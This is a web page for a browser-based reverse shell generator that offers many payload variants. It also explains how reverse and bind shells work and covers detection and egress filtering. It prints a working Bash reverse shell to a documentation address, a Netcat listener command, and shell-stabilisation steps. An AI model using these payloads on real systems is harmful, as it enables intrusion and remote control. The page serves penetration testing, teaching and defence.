Free tool · runs in your browser

Reverse Shell Generator

Generate Bash, Python, PowerShell, PHP, Netcat, Socat and other reverse shells, with the matching listener and handy encodings.
Local processing No data sent No account Shells and privilege escalation

Data from revshells.com (0dayCTF) · MIT

IP or hostname of your listening machine.

Listening port, 1 to 65535.

Payload type
Target system
  • Bash -i linux · mac
  • Bash 196 linux · mac
  • Bash read line linux · mac
  • Bash 5 linux · mac
  • Bash udp linux · mac
  • nc mkfifo linux · mac
  • nc -e linux · mac
  • nc.exe -e windows
  • BusyBox nc -e linux
  • nc -c linux · mac
  • ncat -e linux · mac
  • ncat.exe -e windows
  • ncat udp linux · mac
  • curl linux · mac
  • rustcat linux · mac
  • C linux · mac
  • C Windows windows
  • C# TCP Client linux · windows
  • C# Bash -i linux · windows
  • Haskell #1 linux · mac
  • OpenSSL linux · mac
  • Perl linux · mac
  • Perl no sh linux · mac
  • Perl PentestMonkey linux · mac
  • PHP PentestMonkey linux · windows · mac
  • PHP Ivan Sincek linux · windows · mac
  • PHP cmd linux · windows · mac
  • PHP cmd 2 linux · windows · mac
  • PHP cmd small linux · windows · mac
  • PHP exec linux · mac
  • PHP shell_exec linux · mac
  • PHP system linux · windows · mac
  • PHP passthru linux · mac
  • PHP ` linux · windows · mac
  • PHP popen linux · windows · mac
  • PHP proc_open linux · windows · mac
  • Windows ConPty windows
  • PowerShell #1 windows
  • PowerShell #2 windows
  • PowerShell #3 windows
  • PowerShell #4 (TLS) windows
  • PowerShell #3 (Base64) windows
  • PowerShell #5 (stderr support) (Base64) windows
  • P0wny Shell (Webshell) windows · linux · mac
  • Python #1 linux · mac
  • Python #2 linux · mac
  • Python3 #1 linux · mac
  • Python3 #2 linux · mac
  • Python3 Windows windows
  • Python3 shortest linux
  • Ruby #1 linux · mac
  • Ruby no sh linux · mac
  • socat #1 linux · mac
  • socat #2 (TTY) linux · mac
  • sqlite3 nc mkfifo linux · mac
  • node.js linux · mac
  • node.js #2 linux · mac · windows
  • Java #1 linux · mac
  • Java #2 linux · mac
  • Java #3 windows · linux · mac
  • Java Web windows · linux · mac
  • Java Two Way windows · linux · mac
  • Javascript linux · mac · windows
  • Groovy windows
  • telnet linux · mac
  • zsh linux · mac
  • Lua #1 linux
  • Lua #2 linux · windows
  • Golang linux · mac · windows
  • Vlang linux · mac
  • Awk linux · mac
  • Dart linux · mac · windows
  • Crystal (system) linux · windows · mac
  • Crystal (code) linux · mac

Bash -i

payload

Payloads from revshells.com (0dayCTF/reverse-shell-generator, MIT), synced at commit 9fda27f.

LListener

Listener
TTYStabilise the shell

Once you catch the shell, run these steps to get a full terminal (completion, arrow keys, Ctrl+C).

  1. 01Spawn a PTY (Python)
    Spawn a PTY (Python)
    python3 -c 'import pty; pty.spawn("/bin/bash")'
  2. 02Spawn a PTY (script)
    Spawn a PTY (script)
    script -qc /bin/bash /dev/null
  3. 03Background the shell
    Background the shell
    Ctrl+Z
  4. 04Raw terminal on the attacker side
    Raw terminal on the attacker side
    stty raw -echo; fg
  5. 05Reset the display
    Reset the display
    reset
  6. 06Terminal type
    Terminal type
    export TERM=xterm-256color
  7. 07Terminal size
    Terminal size
    stty rows 38 cols 116

What is a reverse shell?

A reverse shell is a remote command session in which the target machine initiates a connection to the operator’s machine. A listening program, called a listener, receives this connection and lets the operator interact with the target’s shell.

How a reverse shell works

The operator first starts a listener, a program that waits for the connection on a given port. When the payload runs on the target, it connects back to that listener, and every command typed on the operator side runs on the target.

This direction can work around inbound filtering or NAT on the target’s network. The target still needs to reach the listener: choosing a common port such as 443 does not bypass an egress firewall or a proxy that checks the protocol.

Bash reverse shell example with a Netcat listener

LHOST is the operator’s address reachable from the target, and LPORT is the listening port. For this example, set LHOST to your listener’s address; 203.0.113.10 below is a documentation address. Start Netcat on the operator’s machine, then run the Bash command on the target.

Netcat listener
nc -lvnp 4444
Bash reverse shell
bash -i >& /dev/tcp/203.0.113.10/4444 0>&1

The Bash redirection syntax opens the TCP connection and connects the shell’s input and output to it. The generator above provides variants for Python, PowerShell, PHP, Netcat and Socat, plus the matching listener.

Reverse shell and bind shell

With a bind shell, the target opens a port and waits for the operator to connect. It is simple to set up, but the port has to be reachable from the outside, which is rare behind a NAT or an inbound firewall. The reverse shell flips the direction of the connection and works around that. In return, the operator must expose an IP and a port reachable from the target, and the target's egress filtering must let the connection out.

Stabilising the shell you catch

A raw reverse shell has no completion and no history, Ctrl+C kills the session, and interactive programs such as ssh, su or vim behave badly. You stabilise it by attaching a pseudo-terminal (PTY). On Linux, the usual sequence starts with python3 -c 'import pty; pty.spawn("/bin/bash")' or script -qc /bin/bash /dev/null. You then background the shell with Ctrl+Z, put your own terminal into raw mode with stty raw -echo; fg, then export TERM=xterm-256color and set the size with stty rows 38 cols 116 (take the values from stty size in your terminal). socat and pwncat-cs do this switch automatically.

Detecting and preventing reverse shells

For detection rules and log examples, see our guide to detecting and blocking reverse shells with Sysmon and auditd.

On the defensive side, a reverse shell almost always signals a compromise that already succeeded: a command injection, a file upload or a vulnerable service let an attacker run code. Two levers apply: stop the connection from leaving, and spot the behaviour when it happens.

Egress filtering and hardening

Egress filtering is the most effective measure. An application server rarely needs to open arbitrary connections to the internet. Limiting outbound flows to known destinations (proxy, package repositories, partner APIs) cuts the return channel even when exploitation succeeds.

The rest of hardening narrows the attacker's options. Services run under dedicated accounts without an interactive shell, in containers with a read-only file system. On Windows, AMSI and Defender's ASR rules block part of the PowerShell payloads. On Linux, removing unused interpreters and tools (compilers, nc with -e, socat) from production limits the usable variants.

Process lineage and telemetry

The most reliable signal is an abnormal process lineage. A web server does not spawn a shell in normal operation. w3wp.exe starting cmd.exe or powershell.exe under IIS, or httpd, nginx or java starting bash, sh, python or nc on Linux, warrant an alert.

On Windows, Sysmon provides the two useful events. Event ID 1 (process creation) gives the full command line and the parent process, including PowerShell's -EncodedCommand arguments, which you simply decode. Event ID 3 (network connection) ties an outbound connection to the process that opened it. A powershell.exe or an Office binary connecting to an unknown external IP is a classic case.

On Linux, auditd logs execve and connect calls. Rules on these calls surface the use of /dev/tcp, of nc or of an interpreter with redirected descriptors 0, 1 and 2. Creating a FIFO with mkfifo in /tmp just before an outbound connection matches the most common netcat variant.

Taken one by one, these indicators stay weak. Detection becomes reliable when you correlate the process lineage, its command line and the network connection it opens, on the same machine and in the same time window.

?Frequently asked questions

Are the payloads sent to a server?

No, the commands are built in JavaScript in your browser. The IP, the port and the payload never leave your machine, and the page keeps working offline once loaded.

Where do the payloads come from?

The list comes from the revshells.com data set (the 0dayCTF/reverse-shell-generator repository, MIT licence), pinned to commit 9fda27f. A sync script downloads that file and stores it in the repository, so the payloads stay data maintained by the upstream project rather than a hand-written list.

Why does the reverse shell fail to connect?

Check, in this order: the listener is on the right port, the listening IP is reachable from the target, no egress filtering blocks the connection, and the chosen interpreter exists on the target (bash with /dev/tcp, python3, nc with -e).

What is the difference between a reverse shell and a bind shell?

With a reverse shell, the target opens the connection to your machine, which passes most firewalls that only filter inbound traffic. With a bind shell, the target opens a port and waits for your connection, which fails as soon as a firewall or a NAT blocks inbound connections.

How do I stabilise a shell?

Spawn a pseudo-terminal with python3 -c 'import pty; pty.spawn("/bin/bash")', background the shell with Ctrl+Z, put your terminal into raw mode with stty raw -echo; fg, then export TERM and set the size with stty rows and cols. The tool's TTY panel lists each command.

Why encode a payload in Base64 or URL?

So it survives a context that interprets certain characters, such as a URL parameter or a form field. PowerShell also expects a Base64 of UTF-16LE command with -EncodedCommand. An EDR decodes these formats without trouble, so encoding is not a way to hide.

+More tools

Technical assessment

Request an application or infrastructure assessment

For an assessment by our team, specify the systems involved, available access and requested tests in your enquiry.